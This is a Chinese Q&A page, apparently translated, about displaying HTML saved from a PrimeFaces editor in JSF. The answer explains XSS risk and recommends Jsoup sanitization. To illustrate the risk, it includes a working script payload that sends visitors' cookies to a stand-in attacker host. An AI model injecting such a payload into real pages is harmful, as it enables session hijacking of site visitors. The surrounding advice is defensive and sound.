解释已经保存在oracle数据库中的HTML标记

问题描述 投票:0回答:1

在我的应用程序中,用户使用撇号<p:editor>创建一个公告,以便能够设置文本格式和样式。文本将使用其html标签保存,当我执行选择查询时,我得到的文本带有未解释的标签。是否有一些函数或转换器可以转换这些标签,以便格式化从数据库返回的文本?

html primefaces jsf-2.2
1个回答
1
投票

实际上,JSF默认情况下会转义HTML特殊字符,以防止不了解开发人员的XSS攻击漏洞。假设最终用户在<p:editor>中输入了以下内容:

<script>document.write('<img src="http://hackersdomain.com/fake.gif?' + escape(document.cookie) + '" width=0 height=0>');</script>

并且您的网站从字面上解释为,在重新显示过程中,没有任何形式的HTML转义,黑客就会获取有关您网页访问者的会话cookie的所有信息,并轻松地进行会话劫持攻击。

首先,您需要像Jsoup这样的HTML解析器/清理器来在显示之前准备提交的数据(或保存在DB中,最好保存在另一列中。

String sanitizedHTML = Jsoup.clean(unsafeHTML, Whitelist.basic());

然后您可以使用<h:outputText>属性设置为escapefalse安全地显示经过清理的HTML:

<h:outputText value="#{bean.sanitizedHTML}" escape="false" />

另请参见:

© www.soinside.com 2019 - 2024. All rights reserved.